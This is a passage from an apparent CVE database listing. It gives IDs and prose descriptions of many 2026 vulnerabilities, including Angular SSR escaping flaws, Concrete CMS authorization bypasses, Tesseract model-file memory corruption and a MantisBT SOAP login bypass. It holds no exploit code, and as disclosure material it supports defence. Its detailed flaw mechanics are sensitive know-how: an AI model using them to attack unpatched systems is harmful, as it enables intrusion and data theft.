68488	local privilege escalation to root via arbitrary file/directory ownership takeover.		Details
CVE-2026-68487	Path traversal in Plesk's Backup Manager causes arbitrary file write as root by an authenticated customer.	N/A	More Details
CVE-2026-78374	Joomla Extension - joomlart.com - Open mail relay via contact AJAX endpoint in T4 Page Builder extension < 2.3.0 - The front-end JSON editor endpoint exposes an action called contact that requires no authentication, no CSRF token, no captcha (when no captcha plugin is enabled) and has no rate limiting. The attacker fully controls the recipient, subject and HTML body, and the mail is sent from the site's configured sender identity (mailfrom/fromname).	N/A	More Details
CVE-2026-65639	OS command injection in the advanced-rule parser of ConfigServer Security & Firewall allows a remote attacker who controls a configured allow/deny feed to execute arbitrary commands as root, due to insufficient validation of feed-supplied rule data. The vulnerability affects versions of the software originally distributed by ConfigServer, as well as versions of the WebPros-maintained fork that contain the vulnerable code. WebPros has addressed the vulnerability in version 16.30. Other forks or independently maintained versions of ConfigServer Security & Firewall (CSF) may also be affected and should be evaluated independently.	N/A	More Details
CVE-2026-65638	Improper escaping of a request URL in ConfigServer Security & Firewall allows an unauthenticated remote attacker to execute arbitrary commands as the CSF service account via shell command injection. The vulnerability affects versions of the software originally distributed by ConfigServer, as well as versions of the WebPros-maintained fork that contain the vulnerable code. WebPros has addressed the vulnerability in version 16.30. Other forks or independently maintained versions of ConfigServer Security & Firewall (CSF) may also be affected and should be evaluated independently.	N/A	More Details
CVE-2026-78084	Joomla Extension - joomshaper.com - Missing Access Control in Gallery Image Management in SP Property < 4.1.4 - The gallery management controller tasks lacked authorization checks and CSRF token validation.. Users could invoke file removal actions with arbitrary path strings or upload unverified file types.	N/A	More Details
CVE-2026-88921	MISP contains an HTML injection vulnerability in the MISPElementHTMLFormatterTool component, which is responsible for rendering MISP element references (attributes, objects, and tags) into inline HTML during PDF report export via the convert_markdown_to_pdf module. The attribute(), objectAttribute(), object(), and tag() methods interpolated user-controlled fields (attribute type, attribute value, object name, object relation, tag name, tag colour, and tag text colour) directly into HTML templates without applying HTML entity encoding. An authenticated user with the ability to create or modify MISP attributes, objects, or tags could embed arbitrary HTML markup in these fields. When a report containing such elements was exported to PDF, the unescaped content was rendered as live HTML rather than inert text, potentially injecting script tags, breaking the document structure, or altering the visual content of the exported report. Additionally, the attribute() method contained a template with hardcoded sample values ("domain-ip" and "google.com") instead of format placeholders, meaning every plain attribute reference in a PDF displayed the sample text rather than the actual indicator value, constituting a data-integrity defect in the exported document. The vulnerability requires an authenticated actor with write access to MISP elements and a subsequent PDF export of a report referencing those elements. The security impact is primarily to the integrity of the exported document and, depending on the HTML-to-PDF rendering engine, potential execution of injected markup during the conversion step. Version affected: ≤2.5.45	N/A	More Details
CVE-2026-88915	Affected versions of MISP do not consistently enforce the acting user's authorization when instantiating event templates. For templates using distribution = 4, the template can specify a sharing_group_id. The instantiation path passed that value into event creation without verifying that the user instantiating the template was actually permitted to use the selected sharing group. The commit notes that Event::_add() only performed its own sharing-group authorization in another code path, leaving template instantiation able to write the identifier directly. The same instantiation path also attached template-specified tags without checking the user's normal tagging permissions. In addition, it hardcoded local => 0, meaning tags marked local_only could be attached globally and consequently propagate through synchronization or export, contrary to their intended restriction. The fix adds explicit SharingGroup::canUse() authorization for the acting user, applies the same tag-modification checks used by normal event tagging, and ensures local_only tags are attached locally. Version affected: ≤2.5.45	N/A	More Details
CVE-2026-17038	DrEryk Gabinet before 11.5.0 uses hard-coded API credentials in its ticket reporting component. These credentials can be used to authenticate directly to the ticket system API. This allows an attacker to perform privileged operations beyond what is offered by the application, including reading and modifying tickets.	N/A	More Details
CVE-2026-78085	Joomla Extension - joomshaper.com - Path Traversal in Gallery Image Management in SP Property < 4.1.4 - The gallery management controller tasks lacked directory confinement checks.	N/A	More Details
CVE-2026-78302	Joomla Extension - joomshaper.com - Unauthenticated Stored Cross-Site Scripting (XSS) via Unescaped Output in Views and Admin Lists in SP Property < 4.1.4 - Multiple template files across frontend views and administrator list tables rendered attributes and text values directly into HTML without contextual escaping.	N/A	More Details

CVE-2026-71642	An issue in ZJU-FAST-Lab EGO-Planner-v2 All versions up to commit 5c99a95880401e2599638d567abc0e240396cb42 allows an attacker to cause a denial of service via the EGOReplanFSM::checkCollisionCallback()	N/A	More Details
CVE-2026-81906	Concrete CMS OAuth callback login path prior to version 9.5.3 did not check whether an account was active or email-validated before establishing a session. A deactivated or unvalidated user with an existing OAuth binding could complete authentication and receive a session that was fully authenticated for the callback response, with the login recorded and login events dispatched. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.	N/A	More Details
CVE-2026-15419	In the silabser.sys driver for CP210x devices v11.5.0 and earlier, a local unprivileged user with a malicious device can use malformed packets to corrupt kernel pool memory, resulting in arbitrary code execution with escalated privileges.	N/A	More Details
CVE-2026-17176	An OS command injection vulnerability in the TDDP module of Deco BE11000 allows an adjacent network attacker to execute arbitrary commands with root privileges by sending a crafted UDP packet. Successful exploitation may lead to complete device compromise, including unauthorized command execution, modification of device settings, and loss of confidentiality, integrity, and availability	N/A	More Details
CVE-2026-57844	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-49836	psd-tools is a Python package for working with Adobe Photoshop PSD files. Prior to version 1.17.1, `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory. A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.	N/A	More Details
CVE-2026-76653	A missing authentication vulnerability in the VPN configuration management has been identified in Archer MR600 (v2, v3 & v5) and TL-MR6400 v8 due to improper access control; a remote unauthenticated attacker may be able to access and modify VPN configuration information without valid credentials. Successful exploitation may allow a remote unauthenticated attacker to disclose and modify VPN configuration information.	N/A	More Details
CVE-2026-76652	An authenticated directory traversal vulnerability in file upload functionality has been identified in Archer MR600 (v2, v3 & v5) and TL-MR6400 v8. Due to insufficient validation of user-supplied file information, an authenticated remote attacker with access to the affected upload functionality could upload a specially crafted file and cause it to be written outside the intended directory. Successful exploitation could allow an authenticated remote attacker to write files to unintended locations, potentially overwriting or modifying files accessible to the affected service; arbitrary code execution has not been demonstrated.	N/A	More Details
CVE-2026-16172	Netskope was notified of an out-of-bounds heap read affecting the Endpoint DLP (EPDLP) service of the Netskope Client. A local standard user could potentially send a specially crafted message that is not properly validated with a bounds check, likely crashing the kernel driver handler. Successful exploitation could potentially crash the EPDLP service, temporarily interrupting DLP enforcement. A successful exploit could potentially also reveal per-boot memory layout information to unauthorized users.	N/A	More Details
CVE-2026-16174	Netskope was notified about a potential gap in Netskope Endpoint DLP (EPDLP) running on Windows systems. Successful exploitation of the gap could potentially allow a privileged user to send a crafted message to the EPDLP process port to trigger an integer overflow, leading to memory corruption. Successful exploitation would require the EPDLP module to be enabled in the client configuration, and that Memory Integrity is disabled. A successful exploit could potentially result in a denial-of-service, arbitrary code execution, or privilege escalation on the local machine.	N/A	More Details
CVE-2026-89172	Improper protection of physical side channels vulnerability in Microchip AN1044, Microchip AN953, and Microchip SW300052. This issue affects AN1044: through A; AN953: through A; SW300052: through 2.6.	N/A	More Details
CVE-2026-88062	OmniRoute is an open-source AI gateway providing a single endpoint for multiple model providers. In 3.8.49 and earlier, the OmniRoute POST /api/acp/agents custom ACP agent endpoint accepted attacker-controlled binary and versionCommand values and used only a self-consistency check before execFileSync executed the selected interpreter and arguments. The same request called refreshAgentCache, and resolveVersionProbe accepted the matched command before the execFileSync sink ran it. The tokenizeVersionCommand function and DISALLOWED_VERSION_COMMAND_CHARS filter rejected a limited set of shell metacharacters but still allowed interpreter evaluation arguments. The isAuthenticated function relied on isAuthRequired, which accepted anonymous requests when requireLogin was false, while api/acp/ was absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES. With requireLogin=false or during a fresh-	N/A	More Details

	instance bootstrap window, a remote anonymous request could supply an interpreter evaluation argument and execute arbitrary code in the server container. With requireLogin=true and a configured management password, exploitation instead required a management session or management-scoped API key. No fixed version is available as of this review.		
CVE-2026-88061	career-ops is an open-source AI-assisted job search and application management tool. Prior to 0.8.0, the career-ops local web dashboard web/ exposed command-spawning and user-file-writing /api routes without validating request origin or restricting clients to loopback addresses. A malicious page in another browser tab could send cross-origin localhost requests while the dashboard was running, and a dashboard bound beyond loopback could receive direct requests from the local network. Both paths allowed unauthenticated command execution as the dashboard user, but npm installations were unaffected because web/ is excluded from the published package. This issue is fixed in version 0.8.0.	N/A	More Details
CVE-2026-84432	Concrete CMS 9 through 9.5.2 did not validate an anti-CSRF token in the Boards custom slot dialog controller (concrete/controllers/dialog/board/custom_slot.php) saveTemplate() action. The action created a board_slot_proxy Block and dispatched an AddCustomSlotToBoardCommand against a board instance while gating only on the per-resource canEditBoardContents() permission, so a crafted cross-site request could cause a user holding board-edit permission with an active session to write attacker-chosen slot and template data to a board under their own authority. The state-changing database write completed before any downstream rendering, so the forged request succeeded even when the HTTP response returned a non-200 status. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.3 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.	N/A	More Details
CVE-2026-88060	Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular server-side rendering (SSR) in @angular/platform-server serializes untrusted input inside template content nested in fallback raw-content elements such as noscript, iframe, noembed, and noframes. The Domino serializer's fallbackRawContentTags traversal stopped at the DocumentFragment used by template.content, so matching closing tags in xmp, style, script, comments, or text nodes were not escaped. Standard interpolation with comments or text nodes is reachable without relaxed schemas; literal xmp or style requires CUSTOM_ELEMENTS_SCHEMA or NO_ERRORS_SCHEMA, while Renderer2 imperative DOM construction is unconditionally affected. When HTML5 RAWTEXT browser parsing encounters the unescaped closing tag, it exits the fallback container and interprets trailing markup as active DOM elements, enabling arbitrary JavaScript execution. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.	N/A	More Details
CVE-2026-9768	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-18121	Concrete CMS 9.5.2 and below is vulnerable to an authorization bypass (IDOR) because the frontend calendar lightbox endpoint (/ccm/calendar/view_event/{bID}/{occurrence_id}) does not verify that the caller is permitted to view the calendar that owns the requested event occurrence. The controller loads the occurrence directly from an attacker-supplied, sequential identifier without confirming that it belongs to the calendar configured on the referenced block. An unauthenticated visitor who can render any public calendar block with lightbox properties enabled could therefore supply an arbitrary occurrence identifier and disclose event metadata — title, date, description, page link, and configured event attributes — from calendars they are not permitted to view. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N. Thanks riodrwn for reporting.	N/A	More Details
CVE-2026-88058	Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular server-side rendering (SSR) in @angular/platform-server serializes ProcessingInstruction DOM nodes inside fallback raw-content elements without escaping matching ancestor closing tags. ProcessingInstruction data escaped greater-than characters but left less-than characters untouched and did not inspect fallback ancestors, so data such as a matching closing tag prematurely terminates noscript, iframe, noembed, or noframes containers. The vulnerable nodes cannot be authored through standard Angular templates; reachability requires application or library code using inject(DOCUMENT).createProcessingInstruction with attacker-controlled data or Renderer2 DOM insertion inside a fallback container. In HTML5 RAWTEXT parsing, the premature close causes subsequent sibling elements to be interpreted as live HTML and enables arbitrary JavaScript execution in a victim's browser. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.	N/A	More Details
CVE-2026-88057	Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.28, 21.2.20, and 22.1.0, Angular's compiler and runtime in @angular/core and @angular/compiler could omit or select an incorrect sanitizer for security-sensitive directive host bindings because SecurityContext was derived from the declaring directive or component selector rather than the concrete host element. The mismatch is reachable through hostDirectives composition, inherited HostBinding declarations, createComponent with a custom hostElement or dynamic directives, SVG/MathML namespace elements, and tag-neutral selectors such as :not(...). Attacker-controlled href, src, action, xlink:href, or data values can therefore reach DOM attributes without Angular's built-in sanitizer and execute arbitrary JavaScript in the user's browser context. Applications unable to upgrade can use DomSanitizer.sanitize with SecurityContext.URL before assignment or restrict inputs to	N/A	More Details

	validated HTTP and HTTPS URL schemes. This issue is fixed in versions 20.3.28, 21.2.20, and 22.1.0.		
CVE-2026-81905	Concrete CMS below 9.5.3 stores user validation hashes for multiple purposes (email/registration validation, password reset, and persistent login) in a single table with a type column, but the redemption path resolves a hash by value alone and does not verify its type. As a result, a hash issued for one purpose can be redeemed for another: a long-lived registration hash (60-day expiry) can be submitted to the password-change endpoint to set a new password on the target account, and a password-reset hash can be submitted to the email-validation endpoint to activate an account. Exploitation requires the attacker to first obtain a valid hash through a separate channel (for example email interception, log exposure, or SSRF against an internal mail relay), so the flaw amplifies the impact of any hash disclosure rather than creating a standalone entry point. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 6.3 with vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Yonatan Drori from Tenzai for reporting.	N/A	More Details
CVE-2026-88056	Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 20.3.30, 21.2.22, and 22.1.4, Angular Server-Side Rendering in @angular/platform-server processes user-controlled resource or request URLs through HttpClient after application code validates them with WHATWG URL parsing. The resolveUrl and parseUrl utilities called String.prototype.trim(), which removed leading Unicode whitespace such as U+00A0 or U+FEFF after the input passed a same-origin check, converting a relative path into a protocol-relative attacker-controlled URL. In affected applications that attach sensitive server-side credentials such as Authorization headers to approved requests, relativeUrlsTransformerInterceptorFn then dispatched the request to the attacker-controlled origin, causing SSRF and credential disclosure. This issue is fixed in versions 20.3.30, 21.2.22, and 22.1.4.	N/A	More Details
CVE-2026-68527	Concrete CMS versions 8.3.0 through 9.5.2 are vulnerable to an authorization bypass in the Calendar event edit dialog (concrete/controllers/dialog/event/edit.php). The dialog checked permissions against the calendar identifier supplied in the request rather than the calendar owning the targeted event occurrence. A user with the "Add Event" permission on a single calendar could read and overwrite events on calendars they were not permitted to access, and could delete an event's original local occurrence. Publishing the injected version to the live calendar, which demotes the previously approved version, additionally required the actor's approve_calendar_event workflow rights or an auto-approving workflow. The Concrete CMS Security Team gave this a rank of 5.9 with CVSS 4.0 vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.	N/A	More Details
CVE-2026-88054	Tesseract is an open source OCR engine. In version 5.5.3 and earlier, Plumbing::DeSerialize in src/lstm/plumbing.cpp rejects excessively large network stacks but accepts a zero-length stack for NT_SERIES, NT_PARALLEL, or NT_REVERSED layers in a crafted .traineddata model. During LSTMRecognizer initialization in src/lstm/lstmrecognizer.cpp, CacheXScaleFactor(XScaleFactor()) reaches Series::CacheXScaleFactor in src/lstm/series.cpp, which dereferences stack_[0] on the empty vector and invokes a virtual method through an invalid Network pointer. This causes a deterministic crash and denial of service at model load. No fixed release is available as of this review.	N/A	More Details
CVE-2026-13745	A vulnerability in the Gemini CLI and associated GitHub Action allowed an unprivileged attacker to achieve an arbitrary code execution in Gemini CLI via untrusted local .env files overriding GEMINI_CLI_HOME.	N/A	More Details
CVE-2026-88053	Tesseract is an open source OCR engine. In version 5.5.3 and earlier, Classify::ReadIntTemplates in src/classify/intproto.cpp reads NumClassPruners, NumClasses, and NumProtoSets from the TESSDATA_INTTEMP component of a crafted .traineddata file and uses those values as loop bounds without validating them against MAX_NUM_CLASS_PRUNERS, MAX_NUM_CLASSES, and MAX_NUM_PROTO_SETS. The loops store heap pointers into fixed-capacity ClassPruners and ProtoSets arrays in INT_TEMPLATES_STRUCT and INT_CLASS_STRUCT, so an oversized count causes heap out-of-bounds pointer writes during legacy-classifier initialization before OCR begins, resulting in heap corruption, a crash, or potentially controlled corruption. No fixed release is available as of this review.	N/A	More Details
CVE-2026-88051	Tesseract is an open source OCR engine. In version 5.5.3 and earlier, the callback form of GenericVector::read in src/ccutil/genericvector.h reads the independent int32 fields reserved and size_used_ from a .traineddata model without a cap or an invariant check. reserve(reserved) allocates the backing array, but the callback loop writes size_used_ elements. A crafted TESSDATA_INTTEMP component with version_id 4 or later can therefore set reserved to a small value and size_used_ to a large value when fontinfo_table_.read(fp, read_info) is called from src/classify/intproto.cpp, causing a heap out-of-bounds write of FontInfo structures, heap corruption, a crash, or potentially controlled corruption. No fixed release is available as of this review.	N/A	More Details
CVE-2026-78082	Joomla Extension - joomshaper.com - Unauthenticated SQL Injection in Property Search and Map Filtering in SP Property < 4.1.4 - The property search and listing query builders assembled several WHERE and ORDER BY clauses (zipcode, sorting, price_range_dropdown, and psize_range_dropdown) by directly concatenating raw request parameters into SQL strings without quoting or type casting. An unauthenticated remote attacker could execute boolean-based or time-based blind SQL injection to extract sensitive data from the	N/A	More Details

	database.		
CVE-2026-43635	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-87804	Rejected reason: no security impact	N/A	More Details
CVE-2026-43645	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-28523	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-26350	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-24442	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-19233	CWE-918: Server-Side Request Forgery (SSRF) vulnerability exists that could cause unauthorized command execution and disclosure of server data when an attacker with a privileged account sends crafted, unvalidated parameters to a server endpoint.	N/A	More Details
CVE-2026-68484	Cash Collect contains an improper authorization vulnerability in the Sage AR Automation API. Administrative functions do not properly verify user privileges, allowing authenticated low-privileged users to create administrator accounts and obtain elevated privileges.	N/A	More Details
CVE-2026-67403	Cash Collect contains an improper authorization vulnerability in the Sage AR Automation API. Insufficient tenant-level authorization checks allow authenticated users to access administrative resources belonging to other tenants by specifying a valid non predictable tenant identifier.	N/A	More Details
CVE-2026-67401	A vulnerability in cPanel allows a mail-enabled account to achieve remote code execution as root through SQLi in EmailTrack component	N/A	More Details
CVE-2026-83530	A user could provide an expression whose string length is longer than the ParserExpressionSizeLimit() configured on the CEL environment, and a memory allocation would occur proportional to the size of the input before the limit would be checked / enforced.	N/A	More Details
CVE-2026-64857	tirreno, a security framework, has a session fixation issue in versions prior to 0.10.0. During authentication, tirreno validates the user's credentials and establishes the authenticated session, but it does not call `session_regenerate_id()` afterward. As a result, the session identifier is not rotated on login, it stays the same before and after authentication. An attacker able to fix a known session identifier in a victim's browser (for example through a network man-in-the-middle position, or a separate cross-site scripting or subdomain cookie-injection issue) could then gain access to the victim's authenticated session. The issue is fixed in v0.10.0. The session identifier is now regenerated on successful authentication, and the previous session is destroyed. There is no configuration-level workaround.	N/A	More Details
CVE-2026-15140	A privilege-escalation issue in the Portworx Operator when deployed on Red Hat OpenShift (OCP). Only under specific conditions during the initial provisioning of a Portworx storage cluster, a user holding only limited, namespace-scoped permissions could cause the operator to grant broader access than intended, potentially resulting in elevated privileges within the Kubernetes cluster.	N/A	More Details
CVE-2026-87827	Certain KGUARD DVR devices running vulnerable firmware expose a system command execution service on all network interfaces without requiring authentication. A remote unauthenticated attacker with network access to the affected service can execute arbitrary system commands on the device, potentially resulting in complete compromise of the DVR. The vulnerability is known to have been exploited in the wild by the Mirai_ptea (Rimasuta) and Mirai_aurora botnets for malware propagation and subsequent DDoS activity. The vulnerability was reported to affect firmware dating from 2016, while firmware released after 2017 appears to mitigate the issue by restricting the affected service to the localhost interface (127.0.0.1) instead of exposing it on all interfaces (0.0.0.0). The affected-device list reported by Netlab includes many D1004NR, D1008NR, D1016NR, D1104, D1104NR, D1108NR, D1116NR, D1132NR, D2116NR, D97xx, D98xx, and D99xx variants and several associated hardware revisions The exploit is included in some version of rapperbot and exploited in 2026. This assignment has been made to document the active exploitation and lack of documentation from the vendor.	N/A	More Details

CVE-2025-3271	Documentum Webtop versions prior to 16.7.1 software is vulnerable to an XSS	N/A	More Details
CVE-2026-79696	A Code Injection vulnerability in adk web in Google Cloud Agent Development Kit (ADK) for Python versions 2.0.0 through 2.6.0 on Python (OSS), Cloud Run, and GKE environments where pytest is installed allows an unauthenticated remote attacker to execute arbitrary code using a crafted test session replay.	N/A	More Details
CVE-2026-12858	Improper Privilege Management vulnerability in ESET AV Remover (standalone) allows Privilege Escalation via especially crafted RPC.	N/A	More Details
CVE-2025-7062	A stored cross-site scripting (XSS) vulnerability has been identified in the H5P module `h5p-nodejs-library` by Lumi Education UG in versions up to and including 10.0.4. The library allows users to upload H5P content that contains malicious JavaScript. This code is then executed in the browsers of other users who view the affected H5P content.	N/A	More Details
CVE-2026-21113	Improper export of android application components in Visual Voicemail prior to version 20.1.00.05 allows local attackers to initiate call without proper permission.	N/A	More Details
CVE-2026-21112	Improper input validation in Samsung Tips prior to Android 17 allows local attackers to launch arbitrary activity with Samsung Tips privilege. User interaction is required for triggering this vulnerability.	N/A	More Details
CVE-2026-21111	Out-of-bounds write in libsthmbc.so prior to One UI 8.5 allows local attackers to write out-of-bounds memory.	N/A	More Details
CVE-2026-21110	Out-of-bounds write in libsavscmn.so prior to One UI 8.5 allows local attackers to execute arbitrary code.	N/A	More Details
CVE-2026-21109	Improper access control in Watch Plugin prior to Android Watch 17 allows local attackers to access sensitive information.	N/A	More Details
CVE-2026-21108	Improper export of android application components in Bixby Touch prior to version 4.3.01.17 allows local attackers to access sensitive information.	N/A	More Details
CVE-2026-21107	Out-of-bounds write in Samsung Notes prior to version 4.4.45.5 allows local attackers to write out-of-bounds memory.	N/A	More Details
CVE-2026-21106	Improper verification of intent by broadcast receiver in Samsung Cloud Assistant prior to version 9.0.5 allows local attackers to disable enhanced data protection settings.	N/A	More Details
CVE-2026-21105	Improper access control in Collection prior to version 1.0.1.14 in Android 15 and 2.0.02.7 in Android 16 allows local attackers to access sensitive information.	N/A	More Details
CVE-2026-21098	Improper access control in Link to Windows prior to SMR Sep-2026 Release 1 allows local attackers to establish a connection with the PC without proper user interaction.	N/A	More Details
CVE-2026-21086	Improper authorization in ProxyHandler prior to SMR Aug-2026 Release 1 allows local attackers to access proxy configuration.	N/A	More Details
CVE-2026-49030	Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: none. Reason: This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue. Notes: none.	N/A	More Details
CVE-2026-34412	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-	MantisBT is an open source bug tracker. Versions 2.28.3 and earlier contain a critical authentication bypass in the SOAP API's mci_check_login() function. Any user knowing any valid cookie_string can authenticate as any other user (knowing their username), including the administrator, without knowing the target's password. The vulnerability is exploitable with zero prior access on default MantisBT installations because self-registration is enabled by default ($g_allow_signup = ON). A self-registered user can use their own cookie_string (readable		

2026-47156	from their browser's MANTIS_STRING_COOKIE cookie after login) to impersonate the administrator via the SOAP API. The REST API is NOT affected. The REST API's AuthMiddleware derives the username server-side from the API token or session cookie, so the username cannot be spoofed. The Web UI is NOT affected. The Web UI authenticates via PHP session cookies (PHPSESSID) and validates the MANTIS_STRING_COOKIE against the logged-in user through auth_is_cookie_valid(). The username is derived server-side from the cookie, not supplied by the client. Version 2.28.4 contains a patch. No known workarounds are available.	N/A	More Details
CVE-2026-82582	An authorization bypass vulnerability exists in SHIRASAGI through a user-controlled key, which may allow an unauthorized attacker to retrieve files from the groupware's shared file feature.	N/A	More Details
CVE-2026-49947	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-81635	A cross-site scripting vulnerability exists in SHIRASAGI, which may allow an attacker to execute an arbitrary script in the web browser of a user who accesses a website using the affected product.	N/A	More Details
CVE-2026-0304	A privilege escalation vulnerability in Palo Alto Networks Cortex XDR Broker VM enables an authenticated low privileged user with man-in-the-middle (MitM) access to execute code with root privileges on the Broker VM.	N/A	More Details
CVE-2026-0303	A code execution vulnerability in Palo Alto Networks Checkov by Prisma® Cloud can allow arbitrary code execution when Checkov scans a directory that contains an attacker-controlled configuration file.	N/A	More Details
CVE-2026-0302	An OS command injection vulnerability in Palo Alto Networks Checkov by Prisma® Cloud enables a local user to execute arbitrary commands in the processes running Checkov.	N/A	More Details
CVE-2026-90648	wasm2c in WebAssembly wabt through 1.0.41 allows sandbox escape in some situations that primarily involve 32-bit platforms, aka a "table flip" attack. It does not check the return value of calloc() in wasm_rt_allocate_funcref_table() (wasm2c/wasm-rt-impl-tableops.inc). When the funcref table allocation fails, table->data is left NULL while table->size keeps the guest-declared element count; thus, bounds checks still pass and table element accesses resolve to absolute memory addresses (i * sizeof(wasm_rt_funcref_t)). This gives arbitrary read and write of host process memory and - via table.get, table.set, and call_indirect - arbitrary code execution, defeating the isolation that wasm2c exists to provide (a full sandbox escape). wasm2c is used as an in-process sandboxing boundary by RLBox and WasmBoxC, including in Firefox, which compiles the Graphite, Hunspell, Ogg, Expat, and Woff2 libraries via wasm2c to contain untrusted font, media, and XML input. Therefore, sandboxing in these applications is potentially affected. Exploitation requires the funcref table allocation to fail, for example under an address-space limit (RLIMIT_AS), on 32-bit hosts, with vm.overcommit_memory=2, or under memory pressure. On 64-bit Linux with default overcommit the allocation succeeds and the defect is not triggered. The wasm2c memory allocator aborts on calloc failure in the same runtime; the table allocator lacks this abort behavior. This was introduced in commit ab9e0b55 (PR #813).	N/A	More Details
CVE-2026-0310	A buffer overflow vulnerability in the XML processing functionality of Palo Alto Networks PAN-OS® software enables an unauthenticated attacker with network access to the management web or dataplane interface to cause a denial of service (DoS) condition on VM-Series firewalls or execute arbitrary code with root privileges on the PA-Series firewalls. The security risk posed by this issue is minimized when the management interface is restricted to only trusted internal IP addresses according to our recommended best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . Panorama is impacted by this vulnerability.	N/A	More Details
CVE-2026-0309	A command injection vulnerability in Palo Alto Networks PAN-OS® software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as a root user. To be able to exploit this issue, the user must have access to the PAN-OS CLI and the device must be configured with a Luna Hardware Security Module (HSM). The security risk posed by this issue is significantly minimized when CLI access is restricted to a limited group of administrators. Panorama, Cloud NGFW, and Prisma® Access are not impacted by this vulnerability.	N/A	More Details
CVE-2026-0308	A stored cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS® software enables a malicious authenticated administrator to store or execute a JavaScript payload using the web interface. This issue is applicable to PAN-OS software on PA-Series and VM-Series firewalls and on Panorama (virtual and M-Series). Cloud NGFW and Prisma® Access are not affected by this vulnerability.	N/A	More Details
CVE-2026-0307	Multiple local privilege escalation vulnerabilities in the Palo Alto Networks GlobalProtect™ app allows a local user to escalate their privileges to NT AUTHORITY\SYSTEM on Windows and root on macOS and Linux. This enables a non-administrative user to execute arbitrary commands with administrative privileges. This GlobalProtect app on iOS, Android and ChromeOS is not impacted.	N/A	More Details

CVE-2026-0306	A vulnerability in the EndPoint Data Loss Prevention (DLP) enforcement of Palo Alto Networks Prisma® Access Agent enables a local user to bypass configured DLP policy enforcement controls and exfiltrate sensitive data. This Prisma Access Agent on macOS, Linux, iOS, Android and Chrome OS is not affected.	N/A	More Details
CVE-2026-0305	An information disclosure vulnerability in the Palo Alto Networks Prisma® Access Agent on Linux enables a local user to access sensitive configuration data and credentials. The Prisma Access Agent on macOS, Windows, iOS, Android and Chrome OS is not affected.	N/A	More Details
CVE-2026-84063	BurgerEditor 3.2.0 through 3.4.0 contains an issue with unrestricted upload of file with dangerous type. If this vulnerability is exploited, an arbitrary file may be uploaded by an attacker who can log in to the product, potentially allowing arbitrary PHP code to be executed may be caused.	N/A	More Details
CVE-2026-84062	BurgerEditor 3.0.0 through 3.4.0 contains an issue with authorization bypass through user-controlled key. If this vulnerability is exploited, the content of the page may be altered by an attacker who can log in to the product may be caused.	N/A	More Details
CVE-2026-88069	Pandora contains a path traversal vulnerability in its archive extraction worker. When processing a specially crafted archive or disk image, attacker-controlled file paths could be used without ensuring that the resulting destination remained within the intended extraction directory. An attacker able to submit a malicious file for analysis could use path traversal sequences or crafted paths to cause extracted content to be written outside the designated extraction directory, potentially overwriting files accessible to the Pandora worker process. Successful exploitation could result in unauthorized modification of application or system files, denial of service, and potentially further compromise depending on the permissions of the Pandora process and the files that can be overwritten. The vulnerability is addressed by resolving each extraction destination path before writing and verifying that it remains below the expected extraction directory. Extraction attempts resolving outside this directory are rejected and reported as path traversal attempts.	N/A	More Details
